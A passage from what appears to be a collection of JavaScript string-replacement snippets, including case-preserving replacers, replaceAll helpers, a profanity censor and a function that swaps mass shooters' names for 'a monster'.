paragraph, create a JavaScript function that changes all mentions of strawberry to banana and strawberries to bananas:\nStrawberries are a popular part of spring and summer diets throughout America. Mouths water from coast to coast each spring, when small white blossoms start to appear on strawberry bushes. They announce the impending arrival of the ruby red berries that so many people crave. Ripe strawberries taste sweet and have only a slight hint of tartness. They are also one of the healthiest fruits around. There are countless recipes for the luscious red berry, but many people prefer to eat them fresh and unaccompanied.\n return newParagraph2;\n}", "function strReplace(needle, replacement, haystack)\n\t{\n\t\tif (!needle) return haystack;\n\n\t\treturn haystack.replace(new RegExp(needle, 'g'), replacement);\n\t}", "function replace_string_DocGenerator(pString,pSearch,pReplace)\n//###### replaces in the string \"pString\" multiple substrings \"pSearch\" by \"pReplace\"\n{\n\tif (pString != '') {\n\t\tvar vHelpString = '';\n var vN = pString.indexOf(pSearch);\n\t\tvar vReturnString = '';\n\t\twhile (vN >= 0)\n\t\t{\n\t\t\tif (vN > 0)\n\t\t\t\tvReturnString += pString.substring(0, vN);\n\t\t\tvReturnString += pReplace;\n if (vN + pSearch.length < pString.length) {\n\t\t\t\tpString = pString.substring(vN+pSearch.length, pString.length);\n\t\t\t} else {\n\t\t\t\tpString = ''\n\t\t\t}\n\t\t\tvN = pString.indexOf(pSearch);\n\t\t};\n\t};\n\treturn vReturnString + pString;\n}", "function getWordsToReplace()\n{\n\tvar wordToReplace,\t\t\t// store candidate word to replace\n\t\trLex,\t\t\t\t\t// RiLexicon object\n\t\trWord,\t\t\t\t\t// RiString object, same word as wordToReplace\n\t\twordPOS,\t\t\t\t// store part of speech\n\t\tindexToReplace,\t\t\t// store index of word to be replaced\n\t\tisMatchToAcceptedPOS;\t// check if word is POS in ptMadlibs\n\n\trLex = new RiLexicon();\n\twordToReplace = \"\";\n\tisMatchToAcceptedPOS = false;\n\n\t//iterate through for each ad lib created \n\t//TODO: find a way to optimize/modularize\n\tfor(var i = 0; i <= numAdlibs; i++)\n\t{\n\n\t\t//run while word is not a noun, adjective, or verb (a word that can be replaced)\n\t\twhile(!isMatchToAcceptedPOS)\n\t\t{\n\n\t\t\t//get the index of a word to potentially replace\n\t\t\tindexToReplace = Math.floor(Math.random() * tokenizedPassage.length);\n\t\t\twordToReplace = (tokenizedPassage[indexToReplace]);\n\t\t\trWord = new RiString(wordToReplace);\n\n\n\t\t\t//get part of speech word is\n\t\t\twordPOS = rWord.get('pos');\n\n\t\t\tconsole.log(i + \" \" + wordToReplace + \" \" + wordPOS + \" \" + wordPOS.length + \" \" + (rLex.isAdjective(wordToReplace)) + \" \" \n\t\t\t\t+ rLex.isVerb(wordToReplace) + \" \" + rLex.isNoun(wordToReplace));\n\n\t\t\tvar isDuplicate = false;\n\n\t\t\t//compare to stored Penn Tags of accepted mad lib replacements (check against index one of pair!)\n\t\t\t//BUG! Handle case where word has multiple POS\n\t\t\tfor(var j = 0; j < ptMadlibs.length; j++)\n\t\t\t{\n\t\t\t\tif(wordPOS === ptMadlibs[j][0])\n\t\t\t\t{\n\t\t\t\t\tconsole.log('check for duplicate')\n\t\t\t\t\tfor(var l = 0; l < arrWordsReplaced.length; l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(wordToReplace === tokenizedPassage[arrWordsReplaced[l]])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tconsole.log('duplicate');\n\t\t\t\t\t\t\tisDuplicate = true;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(isDuplicate)\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tif(!isDuplicate)\n\t\t\t\t\t{\n\t\t\t\t\t\tconsole.log('match found');\n\t\t\t\t\t\tisMatchToAcceptedPOS = true;\n\n\t\t\t\t\t\t//add index to word to replace and POS to storage arrays\n\t\t\t\t\t\tarrWordsReplaced.push(indexToReplace);\n\t\t\t\t\t\tarrPOSReplaced.push(ptMadlibs[j][1]);\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\n\t\t//reset for next iteration\n\t\twordToReplace = \"\";\n\t\tisMatchToAcceptedPOS = false;\n\t}\n\n\tfor(var k = 0; k < arrWordsReplaced.length; k++)\n\t{\n\t\tconsole.log(\"Number: \" + k + \" Index: \" + arrWordsReplaced[k] + \" Word: \" + tokenizedPassage[arrWordsReplaced[k]] + \" POS: \" + arrPOSReplaced[k]);\n\t}\n}", "function myReplace2(str, before, after) {\n // Check if first character of argument \"before\" is a capital or lowercase letter and change the first character of argument \"after\" to match the case\n if (/^[A-Z]/.test(before)) {\n after = after[0].toUpperCase() + after.substring(1)\n } else {\n after = after[0].toLowerCase() + after.substring(1)\n }\n\n // return string with argument \"before\" replaced by argument \"after\" (with correct case)\n return str.replace(before, after);\n}", "function textin(str){\n str = str.replace(/two/gi, 2).replace(/too/gi,2).replace(/to/gi,2)\n return str;\n}", "function replaceTextByTag(tag) {\n\tfor (var i = 0; i < tag.length; i++) {\n\t\tvar words = tag[i].innerText.split(' ');\n\t\tfor (var j = 0; j < words.length; j++) {\n\t\t\twords[j] = 'Hodor'\n\t\t}\n\t\ttag[i].innerText = words.join(' ');\n\t}\n}", "function toonify(accent, sentence){\n if (accent == 'daffy') {\n var newstr = sentence.replace(/s/g, 'th');\nconsole.log(newstr);\n}\nelse if (accent == 'elmer') {\n var newstr = sentence.replace(/r/g, 'w');\nconsole.log(newstr);\n}}", "static myReplace(str, toReplace, withStr) {\n\n let firstLetter = withStr.charAt(0).toLowerCase();\n if(toReplace.charAt(0) == toReplace.charAt(0).toUpperCase()) {\n firstLetter = withStr.charAt(0).toUpperCase();\n } \n withStr = firstLetter + withStr.slice(1);\n\n return str.replace(toReplace, withStr);\n\n }", "function replaceTokenFromString(text, token, replaceWith) {\r\n let formattedSentence = \"\";\r\n for (let i = 0; i < text.length; i++) {\r\n if (text[i] !== token) {\r\n formattedSentence += text[i];\r\n } else {\r\n formattedSentence += replaceWith;\r\n }\r\n }\r\n return formattedSentence;\r\n}", "function myReplace(str, before, after) {\n after = (before[0] === before[0].toUpperCase()) ? after[0].toUpperCase() + after.substring(1) : after;\n return str.replace(before, after);\n}", "replaceAll(str, find, replace)\r\n {\r\n return str.replace(new RegExp(find, 'g'), replace);\r\n }", "function replace(haystack, needle, replacement){\n haystack = haystack.split(' ');\n\n while(~haystack.indexOf(needle)){\n const idx = haystack.indexOf(needle);\n\n if(idx >= 0){\n haystack.splice(idx, 1, replacement);\n }\n }\n\n return haystack.join(' ');\n}", "function replaceText(v) {\r\n v = v.replace(/\\bAndrew Philip Kehoe\\b/g, \"a monster\");\r\n v = v.replace(/\\bKehoe, Andrew Philip\\b/g, \"a monster\");\r\n v = v.replace(/\\bSeung-Hui Cho\\b/g, \"a monster\");\r\n v = v.replace(/\\bCho, Seung-Hui\\b/g, \"a monster\");\r\n v = v.replace(/\\bAdam Peter Lanza\\b/g, \"a monster\");\r\n v = v.replace(/\\bLanza, Adam Peter\\b/g, \"a monster\");\r\n v = v.replace(/\\bNikolas Jacob Cruz\\b/g, \"a monster\");\r\n v = v.replace(/\\bCruz, Nikolas Jacob\\b/g, \"a monster\");\r\n v = v.replace(/\\bThomas Watt Hamilton\\b/g, \"a monster\");\r\n v = v.replace(/\\bHamilton, Thomas Watt\\b/g, \"a monster\");\r\n v = v.replace(/\\bRobert Steinhäuser\\b/g, \"a monster\");\r\n v = v.replace(/\\bSteinhäuser, Robert\\b/g, \"a monster\");\r\n v = v.replace(/\\bCharles Joseph Whitman\\b/g, \"a monster\");\r\n v = v.replace(/\\bWhitman, Charles Joseph\\b/g, \"a monster\");\r\n v = v.replace(/\\bTim Kretschmer\\b/g, \"a monster\");\r\n v = v.replace(/\\bKretschmer, Tim\\b/g, \"a monster\");\r\n v = v.replace(/\\bMarc Lépine\\b/g, \"a monster\");\r\n v = v.replace(/\\bLépine, Marc\\b/g, \"a monster\");\r\n v = v.replace(/\\bEric David Harris\\b/g, \"a monster\");\r\n v = v.replace(/\\bHarris, Eric David\\b/g, \"a monster\");\r\n v = v.replace(/\\bWellington Menezes de Oliveira\\b/g, \"a monster\");\r\n v = v.replace(/\\bMenezes de Oliveira, Wellington\\b/g, \"a monster\");\r\n v = v.replace(/\\bFarda Gadirov\\b/g, \"a monster\");\r\n v = v.replace(/\\bGadirov, Farda\\b/g, \"a monster\");\r\n v = v.replace(/\\bBai Ningyang\\b/g, \"a monster\");\r\n v = v.replace(/\\bWilli Walter Seifert\\b/g, \"a monster\");\r\n v = v.replace(/\\bSeifert, Willi Walter\\b/g, \"a monster\");\r\n v = v.replace(/\\bDimitrios Pagourtzis\\b/g, \"a monster\");\r\n v = v.replace(/\\bPagourtzis\\b/g, \"a monster\");\r\n v = v.replace(/\\bPagourtzis, Dimitrios\\b/g, \"a monster\");\r\n v = v.replace(/\\bMatti Juhani Saari\\b/g, \"a monster\");\r\n v = v.replace(/\\bSaari, Matti Juhani\\b/g, \"a monster\");\r\n v = v.replace(/\\bWu Huanming\\b/g, \"a monster\");\r\n v = v.replace(/\\bZhao Moumou\\b/g, \"a monster\");\r\n v = v.replace(/\\bChristopher Sean Harper-Mercer\\b/g, \"a monster\");\r\n v = v.replace(/\\bHarper-Mercer, Christopher Sean\\b/g, \"a monster\");\r\n v = v.replace(/\\bJeffrey James Weise\\b/g, \"a monster\");\r\n v = v.replace(/\\bWeise, Jeffrey James\\b/g, \"a monster\");\r\n v = v.replace(/\\bYan Yanming\\b/g, \"a monster\");\r\n v = v.replace(/\\bMamoru Takuma\\b/g, \"a monster\");\r\n v = v.replace(/\\bTakuma, Mamoru\\b/g, \"a monster\");\r\n v = v.replace(/\\bAla Hisham Abu Dheim\\b/g, \"a monster\");\r\n v = v.replace(/\\bZheng Minsheng\\b/g, \"a monster\");\r\n v = v.replace(/\\bPekka-Eric Auvinen\\b/g, \"a monster\");\r\n v = v.replace(/\\bAuvinen, Pekka-Eric\\b/g, \"a monster\");\r\n v = v.replace(/\\bPekka-Eric\\b/g, \"a monster\");\r\n v = v.replace(/\\bU Win-maung\\b/g, \"a monster\");\r\n v = v.replace(/\\bWang Xiangjun\\b/g, \"a monster\");\r\n v = v.replace(/\\bOne L. Goh\\b/g, \"a monster\");\r\n v = v.replace(/\\bGoh, One L\\b/g, \"a monster\");\r\n v = v.replace(/\\bLee Chi Hang\\b/g, \"a monster\");\r\n v = v.replace(/\\bMohammed Ahmad Misleh al-Nazari\\b/g, \"a monster\");\r\n v = v.replace(/\\bBranimir Donchev\\b/g, \"a monster\");\r\n v = v.replace(/\\bDonchev, Branimir\\b/g, \"a monster\");\r\n v = v.replace(/\\bAnatoly\\b/g, \"a monster\");\r\n v = v.replace(/\\bFedorenko, Anatoly\\b/g, \"a monster\");\r\n v = v.replace(/\\bSergei Lepnev\\b/g, \"a monster\");\r\n v = v.replace(/\\bLepnev, Sergei\\b/g, \"a monster\");\r\n v = v.replace(/\\bPatrick Edward Purdy\\b/g, \"a monster\");\r\n v = v.replace(/\\bPurdy, Patrick Edward\\b/g, \"a monster\");\r\n v = v.replace(/\\bMohammed Fathi Farhat\\b/g, \"a monster\");\r\n v = v.replace(/\\bSteven Phillip Kazmierczak\\b/g, \"a monster\");\r\n v = v.replace(/\\bKazmierczak, Steven Phillip\\b/g, \"a monster\");\r\n v = v.replace(/\\bKarel Charva\\b/g, \"a monster\");\r\n v = v.replace(/\\bCharva, Karel\\b/g, \"a monster\");\r\n v = v.replace(/\\bAndrew Douglas Golden\\b/g, \"a monster\");\r\n v = v.replace(/\\bGolden, Andrew Douglas\\b/g, \"a monster\");\r\n v = v.replace(/\\bCharles Carl Roberts\\b/g, \"a monster\");\r\n v = v.replace(/\\bRoberts, Charles Carl\\b/g, \"a monster\");\r\n v = v.replace(/\\bKipland Philip Kinkel\\b/g, \"a monster\");\r\n v = v.replace(/\\bKinkel, Kipland Philip\\b/g, \"a monster\");\r\n v = v.replace(/\\bHeinz Jakob Friedrich Ernst Schmidt\\b/g, \"a monster\");\r\n v = v.replace(/\\bSchmidt, Heinz Jakob Friedrich Ernst\\b/g, \"a monster\");\r\n v = v.replace(/\\bLiu Hongwen\\b/g, \"a monster\");\r\n v = v.replace(/\\bKim De Gelder\\b/g, \"a monster\");\r\n v = v.replace(/\\bDe Gelder, Kim\\b/g, \"a monster\");\r\n v = v.replace(/\\bEric Christopher Houston\\b/g, \"a monster\");\r\n v = v.replace(/\\bHouston, Eric Christopher\\b/g, \"a monster\");\r\n v = v.replace(/\\bFang Jiantang\\b/g, \"a monster\");\r\n v = v.replace(/\\bWu Yechang\\b/g, \"a monster\");\r\n v = v.replace(/\\bAnthony F. Barbaro\\b/g, \"a monster\");\r\n v = v.replace(/\\bBarbaro, Anthony F.\\b/g, \"a monster\");\r\n v = v.replace(/\\bStanislaw Lawrynowicz\\b/g, \"a monster\");\r\n v = v.replace(/\\bLawrynowicz, Stanislaw\\b/g, \"a monster\");\r\n v = v.replace(/\\bLu Xiaoxi\\b/g, \"a monster\");\r\n v = v.replace(/\\bGabe Parker\\b/g, \"a monster\");\r\n v = v.replace(/\\bParker, Gabe\\b/g, \"a monster\");\r\n v = v.replace(/\\bRobert Kausler\\b/g, \"a monster\");\r\n v = v.replace(/\\bKausler, Robert\\b/g, \"a monster\");\r\n v = v.replace(/\\bMichael Peter Slobodian\\b/g, \"a monster\");\r\n v = v.replace(/\\bSlobodian, Michael Peter\\b/g, \"a monster\");\r\n v = v.replace(/\\bCharles Andrew Williams\\b/g, \"a monster\");\r\n v = v.replace(/\\bWilliams, Charles Andrew\\b/g, \"a monster\");\r\n v = v.replace(/\\bStephen Paddock\\b/g, \"a monster\");\r\n v = v.replace(/\\bOmar Mateen\\b/g, \"a monster\");\r\n v = v.replace(/\\bAdam Lanza\\b/g, \"a monster\");\r\n v = v.replace(/\\bDevin Patrick Kelley\\b/g, \"a monster\");\r\n v = v.replace(/\\bGeorges Pierre Hennard\\b/g, \"a monster\");\r\n v = v.replace(/\\bGeorges Hennard\\b/g, \"a monster\");\r\n v = v.replace(/\\bJames Huberty\\b/g, \"a monster\");\r\n v = v.replace(/\\bCharles Whitman\\b/g, \"a monster\");\r\n v = v.replace(/\\bnikolas cruz\\b/g, \"a monster\");\r\n v = v.replace(/\\bNikolas Cruz\\b/g, \"a monster\");\r\n v = v.replace(/\\bRizwan Farook\\b/g, \"a monster\");\r\n v = v.replace(/\\bTashfeen Malik\\b/g, \"a monster\");\r\n v = v.replace(/\\bPatrick Sherrill\\b/g, \"a monster\");\r\n v = v.replace(/\\bEric Harris\\b/g, \"a monster\");\r\n v = v.replace(/\\bDylan Klebold\\b/g, \"a monster\");\r\n v = v.replace(/\\bDylan Bennet Klebold\\b/g, \"a monster\");\r\n v = v.replace(/\\bJiverly Antares Wong\\b/g, \"a monster\");\r\n v = v.replace(/\\bJiverly Voong\\b/g, \"a monster\");\r\n v = v.replace(/\\bNidal Hasan\\b/g, \"a monster\");\r\n v = v.replace(/\\bNidal Malik Hasan\\b/g, \"a monster\");\r\n v = v.replace(/\\bHoward Unruh\\b/g, \"a monster\");\r\n v = v.replace(/\\bHoward Barton Unruh\\b/g, \"a monster\");\r\n v = v.replace(/\\bGeorge Banks\\b/g, \"a monster\");\r\n v = v.replace(/\\bGeorge Emil Banks\\b/g, \"a monster\");\r\n v = v.replace(/\\bKwan Fai \"Willie\" Mak\\b/g, \"a monster\");\r\n v = v.replace(/\\bWai-Chiu \"Tony\" Ng\\b/g, \"a monster\");\r\n v = v.replace(/\\bBenjamin Ng\\b/g, \"a monster\");\r\n v = v.replace(/\\bAaron Alexis\\b/g, \"a monster\");\r\n v = v.replace(/\\bJames Holmes\\b/g, \"a monster\");\r\n v = v.replace(/\\bJames Eagan Holmes\\b/g, \"a monster\");\r\n v = v.replace(/\\bJames Ruppert\\b/g, \"a monster\");\r\n v = v.replace(/\\bJames Urban Ruppert\\b/g, \"a monster\");\r\n v = v.replace(/\\bMichael Kenneth McLendon\\b/g, \"a monster\");\r\n v = v.replace(/\\bChristopher Thomas\\b/g, \"a monster\");\r\n v = v.replace(/\\bJames Edward Pough\\b/g, \"a monster\");\r\n v = v.replace(/\\bJames Edward \"Pop\" Pough\\b/g, \"a monster\");\r\n v = v.replace(/\\bJames Pough\\b/g, \"a monster\");\r\n v = v.replace(/\\bMark O. Barton\\b/g, \"a monster\");\r\n v = v.replace(/\\bMark Orrin Barton\\b/g, \"a monster\");\r\n v = v.replace(/\\bMark Barton\\b/g, \"a monster\");\r\n v = v.replace(/\\bJeff Weise\\b/g, \"a monster\");\r\n v = v.replace(/\\bJeffrey Weise\\b/g, \"a monster\");\r\n v = v.replace(/\\bChris Harper-Mercer\\b/g, \"a monster\");\r\n v = v.replace(/\\bHarper-Mercer\\b/g, \"a monster\");\r\n v = v.replace(/\\bAnthony Barbaro\\b/g, \"a monster\");\r\n v = v.replace(/\\bAndrew Kehoe\\b/g, \"a monster\");\r\n v = v.replace(/\\bThomas Hamilton\\b/g, \"a monster\");\r\n v = v.replace(/\\bWellington Oliveira\\b/g, \"a monster\");\r\n v = v.replace(/\\bWalter Seifert\\b/g, \"a monster\");\r\n v = v.replace(/\\bMatti Saari\\b/g, \"a monster\");\r\n v = v.replace(/\\bChristopher a monster\\b/g, \"a monster\");\r\n v = v.replace(/\\bAlaa Abu Dhein\\b/g, \"a monster\");\r\n v = v.replace(/\\bMichael Tselousov\\b/g, \"a monster\");\r\n v = v.replace(/\\bOne Goh\\b/g, \"a monster\");\r\n v = v.replace(/\\bElliot Rodger\\b/g, \"a monster\");\r\n v = v.replace(/\\bPatrick Purdy\\b/g, \"a monster\");\r\n v = v.replace(/\\bSteven Kazmierczak\\b/g, \"a monster\");\r\n v = v.replace(/\\bAndrew Golden\\b/g, \"a monster\");\r\n v = v.replace(/\\bMitchell Johnson\\b/g, \"a monster\");\r\n v = v.replace(/\\bCharles Roberts\\b/g, \"a monster\");\r\n v = v.replace(/\\bShi Ruoqiu\\b/g, \"a monster\");\r\n v = v.replace(/\\bRobert Smith\\b/g, \"a monster\");\r\n v = v.replace(/\\bJohn Zawahri\\b/g, \"a monster\");\r\n v = v.replace(/\\bGang Lu\\b/g, \"a monster\");\r\n v = v.replace(/\\bKipland Kinkel\\b/g, \"a monster\");\r\n v = v.replace(/\\bHeinz Schmidt\\b/g, \"a monster\");\r\n v = v.replace(/\\bMatthew Murray\\b/g, \"a monster\");\r\n v = v.replace(/\\bChen Peiquan\\b/g, \"a monster\");\r\n v = v.replace(/\\bClemmie Henderson\\b/g, \"a monster\");\r\n v = v.replace(/\\bWang Hongbin\\b/g, \"a monster\");\r\n v = v.replace(/\\bJaylen Fryberg\\b/g, \"a monster\");\r\n v = v.replace(/\\bAlexander Koryakov\\b/g, \"a monster\");\r\n v = v.replace(/\\bMohammed Merah\\b/g, \"a monster\");\r\n v = v.replace(/\\bAnton Pettersson\\b/g, \"a monster\");\r\n v = v.replace(/\\bMa Jiajue\\b/g, \"a monster\");\r\n v = v.replace(/\\bLuke Woodham\\b/g, \"a monster\");\r\n v = v.replace(/\\bFelin Mateo\\b/g, \"a monster\");\r\n v = v.replace(/\\bChen Yanfu\\b/g, \"a monster\");\r\n v = v.replace(/\\bMichael Carneal\\b/g, \"a monster\");\r\n v = v.replace(/\\bRafael Solich\\b/g, \"a monster\");\r\n v = v.replace(/\\bPeter Odighizuwa\\b/g, \"a monster\");\r\n v = v.replace(/\\bThomas Lane\\b/g, \"a monster\");\r\n v = v.replace(/\\bSuthat Wannasarn\\b/g, \"a monster\");\r\n v = v.replace(/\\bBarry Loukaitis\\b/g, \"a monster\");\r\n v = v.replace(/\\bAdam Labus\\b/g, \"a monster\");\r\n v = v.replace(/\\bFrederick Davidson\\b/g, \"a monster\");\r\n v = v.replace(/\\bRobert Flores Jr\\b/g, \"a monster\");\r\n v = v.replace(/\\bDalton Stidham\\b/g, \"a monster\");\r\n v = v.replace(/\\bMichael Slobodian\\b/g, \"a monster\");\r\n v = v.replace(/\\bCharles Williams\\b/g, \"a monster\");\r\n v = v.replace(/\\bTyrone Mitchell\\b/g, \"a monster\");\r\n v = v.replace(/\\bJohn Higgins\\b/g, \"a monster\");\r\n v = v.replace(/\\bBrenda Spencer\\b/g, \"a monster\");\r\n v = v.replace(/\\bJames Wilson Jr\\b/g, \"a monster\");\r\n v = v.replace(/\\bRobert Poulin\\b/g, \"a monster\");\r\n v = v.replace(/\\bMark Houston\\b/g, \"a monster\");\r\n v = v.replace(/\\bSteven Abrams\\b/g, \"a monster\");\r\n v = v.replace(/\\bHuan Yun Xiang\\b/g, \"a monster\");\r\n v = v.replace(/\\bYang Jiaqin\\b/g, \"a monster\");\r\n v = v.replace(/\\bWayne Lo\\b/g, \"a monster\");\r\n v = v.replace(/\\bAnatcha, Boonkwan\\b/g, \"a monster\");\r\n v = v.replace(/\\bBoonkwan Anatcha\\b/g, \"a monster\");\r\n v = v.replace(/\\bWu Jianguo\\b/g, \"a monster\");\r\n v = v.replace(/\\bChen Wenzhen\\b/g, \"a monster\");\r\n v = v.replace(/\\bWilliam Atchison\\b/g, \"a monster\");\r\n v = v.replace(/\\bJames Wilson Jr\\b/g, \"a monster\");\r\n v = v.replace(/\\bEric Houston\\b/g, \"a monster\");\r\n\r\n return v;\r\n}", "function myReplace2(str, before, after) {\n // Check if first character of argument \"before\" is a capital or lowercase letter and change the first character of argument \"after\" to match the case\n if (/^[A-Z]/.test(before)) {\n //change after letter to uppercase if before letter is uppercase\n after = after[0].toUpperCase() + after.substring(1)\n } else {\n //change after letter to lowercase if before letter is lowercase\n after = after[0].toLowerCase() + after.substring(1)\n }\n\n // return string with argument \"before\" replaced by argument \"after\" (with correct case)\n return str.replace(before, after);\n}", "function replace_all(phrase, replaced, newstr) {\n var temp = new RegExp(replaced, \"g\");\n return phrase.replace(temp, newstr);\n}", "function myReplace (str, before, after) {\n let regexp = new RegExp(before, 'i');\n let match = str.match(regexp);\n let firstLetter = match[0][0];\n if (firstLetter === firstLetter.toUpperCase()) {\n after = after[0].toUpperCase() + after.substring(1);\n }\n\n return str.replace(regexp, after);\n}", "function textin(s){\n return s.replace(/two|too|to/gi,2)\n }", "function replaceAll(s, search, replace) {\n return s.split(search).join(replace);\n}", "function replace(input, replaceThis, replacedBy) {\n var strLength = input.length;\n\tvar txtLength = replaceThis.length;\n\n if ((strLength == 0) || (txtLength == 0)) {\n\t\treturn input;\n\t}\n var i = input.indexOf(replaceThis);\n if ((!i) && (replaceThis != input.substring(0,txtLength))) {\n\t\treturn input;\n\t}\n if (i == -1) {\n\t\treturn input;\n\t}\n\n var newString = input.substring(0,i) + replacedBy;\n\n if (i+txtLength < strLength) {\n newString += replace(input.substring(i+txtLength,strLength),replaceThis,replacedBy);\n\t}\n return newString;\n}", "function replace(string,text,by)\r\n{\r\n var strLength = string.length, txtLength = text.length;\r\n if ((strLength == 0) || (txtLength == 0)) return string;\r\n\r\n var i = string.indexOf(text);\r\n if ((!i) && (text != string.substring(0,txtLength))) return string;\r\n if (i == -1) return string;\r\n\r\n var newstr = string.substring(0,i) + by;\r\n\r\n if (i+txtLength < strLength)\r\n newstr += replace(string.substring(i+txtLength,strLength),text,by);\r\n\r\n return newstr;\r\n}", "function wordToUpper(strSentence) {\r\n return strSentence.toLowerCase().replace(/\\b[a-z]/g, convertToUpper);\r\n\r\n function convertToUpper() { \r\n\t\treturn arguments[0].toUpperCase(); \r\n\t} \r\n}", "function myReplace(str, before, after) {\n if (before[0] === before[0].toUpperCase()){\n let newAfter = after.charAt(0).toUpperCase() + after.slice(1)\n return str.replace(before, newAfter)\n }\n return str.replace(before, after);\n}", "function myReplace(str, before, after) {\n var newBefore;\n if(before.toLowerCase() === before){\n //make after lower\n newBefore = after.toLowerCase();\n }else if(before.toUpperCase() === before){\n //make after upper\n newBefore = after.toUpperCase();\n }else {\n //make only first letter upper\n newBefore = after.replace(/(^[a-z])/,function (p) { return p.toUpperCase(); } );\n }\n\n return str.replace(before, newBefore);\n}", "function repl(s, replace, withThis){\n while(s.indexOf(replace) > -1)\n s = s.replace(replace, withThis);\n return s;\n }", "function replaceWithSurround(text, find, prefix, suffix) {\n const escapedString = escapeRegex(find);\n const re = new RegExp(escapedString, 'gi');\n return text.replace(re, matched => prefix + matched + suffix);\n}", "function Calendar_replaceStr( wtext, findText, replaceText )\n{\nvar orig = new String( wtext );\nvar pos = orig.indexOf( findText ), len = findText.length;\nwhile( pos != -1 )\n{\npre = orig.substring( 0, pos )\npost = orig.substring( pos + len, orig.length )\norig = pre + replaceText + post\npos = orig.indexOf( findText )\n}\nreturn orig\n}", "function replaceAllSubstring (oldText, substringToReplace, replacement) {\n if (replacement === void 0) { replacement = \"\"; }\n if (oldText.indexOf(substringToReplace) >= 0) {\n return replaceAllSubstring(oldText.replace(substringToReplace, replacement), substringToReplace, replacement);\n }\n return oldText;\n}", "replace(textToReplace) {\n if (this.index === -1) {\n return;\n }\n this.searchModule.replaceInternal(textToReplace);\n }", "function wordsReplace(dict, txt){\n var result = \"\";\n var txtbreaks = breaks(txt, isAlphabet);\n for (i in txtbreaks){\n var wo = txtbreaks[i];\n for (j in dict)\n if (dict[j].m == wo.toLowerCase())\n wo = copyCase(wo, dict[j].r);\n result += wo;\n }\n return result;\n}", "searchReplace() {\n this.oldRichText = this.richText;\n this.dirty = true;\n let draftValue = this.richText;\n this.searchTerm = this.escapeRegExp(this.searchTerm);\n this.replaceValue = this.escapeRegExp(this.replaceValue);\n draftValue = this.replaceAll(draftValue, this.searchTerm, this.replaceValue);\n this.richText = draftValue;\n }", "function replace() {\n\n\t\t\t// Reference the documents main tree\n\t\t\tvar walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT, null, false);\n\n\t\t\t// Define local variables\n\t\t\tvar badWordLowerCase = []\n\n\t\t\t// Loop through all the bad words\n\t\t\tfor (word in badWordsArr) {\n\n\t\t\t\t// Add the lowervased version of the bad words\n\t\t\t\tbadWordLowerCase.push(badWordsArr[word].toLowerCase())\n\n\t\t\t}\n\n\t\t\t// Continue this oporation while there is always more nodes\n\t\t\twhile (node = walker.nextNode()) {\n\n\t\t\t\t// Split the text inside a node\n\t\t\t\tnodeTextArray = node.nodeValue.split(' ')\n\n\t\t\t\t// Loop through every word inside the node\n\t\t\t\tfor (word in nodeTextArray) {\n\n\t\t\t\t\t// Loop thorugh all the bad words\n\t\t\t\t\tfor (badWord in badWordLowerCase) {\n\n\t\t\t\t\t\t// Determin if a bad word is included in a string\n\t\t\t\t\t\tif (nodeTextArray[word].toLowerCase().includes(badWordLowerCase[badWord])) {\n\n\t\t\t\t\t\t\t// Sensor the bad words\n\t\t\t\t\t\t\tnodeTextArray[word] = '&#%!@?!\"&#%!@?!\"&#%!@?!\"&#%!@?!?!\"&#%!@?!\"&#%!@?!&#%!@?!\"&#%!@?!\"&#%!@?!\"&#%!@?!?!\"&#%!@?!\"&#%!@?!'.substring(0, nodeTextArray[word].length);\n\t\t\t\t\t\t\twordsBlocked += 1\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t// Join the array\n\t\t\t\tfinal = nodeTextArray.join(' ')\n\n\t\t\t\t// Set the new text\n\t\t\t\tnode.nodeValue = final\n\n\t\t\t}\n\n\t\t\t// REPLACE FINISHED - display webpage\n\t\t document.getElementsByTagName(\"html\")[0].style.display=\"block\";\n\n\t\t}", "function replaceAll(orig, token, newToken, ignoreCase) {\n var _token;\n var str = orig + \"\";\n var i = -1;\n\n if (typeof token === \"string\") {\n\n if (ignoreCase) {\n\n _token = token.toLowerCase();\n\n while ((\n i = str.toLowerCase().indexOf(\n token, i >= 0 ? i + newToken.length : 0\n )) !== -1\n ) {\n str = str.substring(0, i) +\n newToken +\n str.substring(i + token.length);\n }\n\n } else {\n return orig.split(token).join(newToken);\n }\n\n }\n return str;\n }", "function replaceStr(firstString, secondString) {\n var replaceString = firstString.replace(\"Vasile\", secondString);\n console.log(replaceString);\n}", "function leetify(word) {\n //get the word in all lowercase letters\n var modifiedWord = word.toLowerCase();\n\n //replace all As with the number 4\n modifiedWord = modifiedWord.replace(/a/g, '4');\n\n //replace all Es with the number 3\n modifiedWord = modifiedWord.replace(/e/g, '3');\n\n //replace all Is with the number 1\n modifiedWord = modifiedWord.replace(/i/g, '1');\n\n //replace all Os with the number 0\n modifiedWord = modifiedWord.replace(/o/g, '0');\n\n //send it back\n //console.log(modifiedWord);\n return modifiedWord;\n}", "function leetify(word) {\n //get the word in all lowercase letters\n var modifiedWord = word.toLowerCase();\n\n //replace all As with the number 4\n modifiedWord = modifiedWord.replace(/a/g, '4');\n\n //replace all Es with the number 3\n modifiedWord = modifiedWord.replace(/e/g, '3');\n\n //replace all Is with the number 1\n modifiedWord = modifiedWord.replace(/i/g, '1');\n\n //replace all Os with the number 0\n modifiedWord = modifiedWord.replace(/o/g, '0');\n\n //send it back\n //console.log(modifiedWord);\n return modifiedWord;\n}", "function replaceTextBetween(text, leftText, rightText, searchText, replaceText)\n{\n var parts = text.split(rightText);\n for (var i = 0; i < parts.length; i++)\n {\n var part = parts[i];\n if (part.indexOf(leftText) != -1)\n {\n var splits = part.split(leftText);\n splits[splits.length-1] = splits[splits.length-1].split(searchText).join(replaceText);\n part = splits.join(leftText);\n parts[i] = part;\n }\n }\n var res = parts.join(rightText);\n return res;\n}", "replaceAll(textToReplace) {\n if (this.index === -1) {\n return;\n }\n this.searchModule.replaceAllInternal(textToReplace);\n }", "function findAndReplace() {\n let text = $( \"#inputText\" ).val(); //The input text in which we will find and replace text.\n let find = $( \"#find\" ).val(); //The text function will be finding.\n find = find.replace( /[.*+?^${}()|[\\]\\\\]/g, '\\\\$&' ); //This is used to escape characters which can cause problems for the program to run.\n //The above replace expression for user input was found on 